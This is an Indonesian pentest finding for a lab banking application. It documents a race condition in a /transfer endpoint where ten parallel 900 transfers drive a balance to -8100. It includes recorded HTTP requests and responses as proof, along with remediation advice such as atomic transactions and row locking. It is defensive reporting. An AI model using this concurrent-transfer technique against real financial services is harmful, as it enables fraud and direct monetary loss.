Kerentanan
[FAIL] Race Condition - Transfer - Balance Check
Deskripsi
Endpoint /transfer membaca saldo pengirim, memeriksa kecukupan dana, lalu menulis saldo baru sebagai operasi terpisah tanpa transaksi database atomik maupun penguncian baris. Sepuluh permintaan transfer yang dikirim bersamaan semuanya lolos pemeriksaan saldo menggunakan nilai lama yang sama sebelum satu pun penulisan selesai (TOCTOU).
Dampak
Integrity (Critical): penyerang dapat mengirim dana jauh melebihi saldo yang dimiliki. Pada pengujian, saldo pengirim jatuh menjadi negatif sementara saldo penerima bertambah penuh, sehingga uang tercipta dari ketiadaan. Pada sistem perbankan ini berarti kerugian finansial langsung dan pembukuan yang tidak konsisten.
CWE
CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization
OWASP
A04:2021 - Insecure Design
Skenario
Normal: satu transfer dalam batas saldo berhasil, dan satu transfer melebihi saldo ditolak dengan pesan dana tidak cukup, membuktikan kontrol bekerja saat serial. Eksploitasi: sepuluh transfer senilai 900 dikirim paralel dari saldo yang jauh lebih kecil. Dampak: saldo pengirim menjadi negatif, total dana yang berpindah melampaui saldo yang pernah dimiliki.
Endpoint
POST http://127.0.0.1:5001/transfer
Fitur terdampak
Transfer dana antar rekening
Rekomendasi perbaikan
- Jalankan pemeriksaan saldo dan pendebetan dalam satu transaksi database atomik.
- Kunci baris rekening pengirim (SELECT ... FOR UPDATE) atau gunakan pembaruan kondisional UPDATE ... SET balance = balance - x WHERE balance >= x.
- Tambahkan constraint CHECK (balance >= 0) pada kolom saldo sebagai jaring pengaman.
- Terapkan idempotency key dan rate limiting pada endpoint transfer.
Bukti konsep
- (Screenshot 1) NORMAL: transfer 100 dalam batas saldo -> berhasil.
- (Screenshot 2) NORMAL: transfer 5000 melebihi saldo -> ditolak, kontrol saldo bekerja secara serial.
- (Screenshot 3) BASELINE: saldo penyerang sebelum serangan = 900.0.
- (Screenshot 4) EKSPLOITASI: sepuluh transfer senilai 900 dikirim bersamaan -> seluruhnya dilaporkan sukses.
- (Screenshot 5) DAMPAK CIA: saldo penyerang menjadi -8100.0, bernilai negatif dan melampaui dana yang pernah dimiliki.
Rekaman lengkap
LAB Semua target adalah sistem lab. Tidak ada satu pun yang merupakan pekerjaan klien. Bukti ditampilkan apa adanya; secret dihitamkan.
HTTP request
POST /transfer HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 43
Content-Type: application/json
{"to_account": "9159912486", "amount": 100}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 87
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:24 GMT
{
"message": "Transfer Completed",
"new_balance": 900.0,
"status": "success"
}
HTTP request
POST /transfer HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 44
Content-Type: application/json
{"to_account": "9159912486", "amount": 5000}
HTTP response
HTTP/1.1 400 BAD REQUEST
Content-Type: application/json
Content-Length: 60
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:25 GMT
{
"message": "Insufficient funds",
"status": "error"
}
HTTP request
GET /check_balance/0932191785 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 117
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:26 GMT
{
"account_number": "0932191785",
"balance": 900.0,
"status": "success",
"username": "pentest_attacker"
}
HTTP request
POST /transfer HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 43
Content-Type: application/json
{"to_account": "9159912486", "amount": 900}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 85
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:27 GMT
{
"message": "Transfer Completed",
"new_balance": 0.0,
"status": "success"
}
HTTP request
GET /check_balance/0932191785 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 119
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:28 GMT
{
"account_number": "0932191785",
"balance": -8100.0,
"status": "success",
"username": "pentest_attacker"
}
← Kasus sebelumnya: Path Traversal - Profile Picture - Upload Filename Kasus berikutnya: Security Misconfiguration - CORS - Wildcard Origin →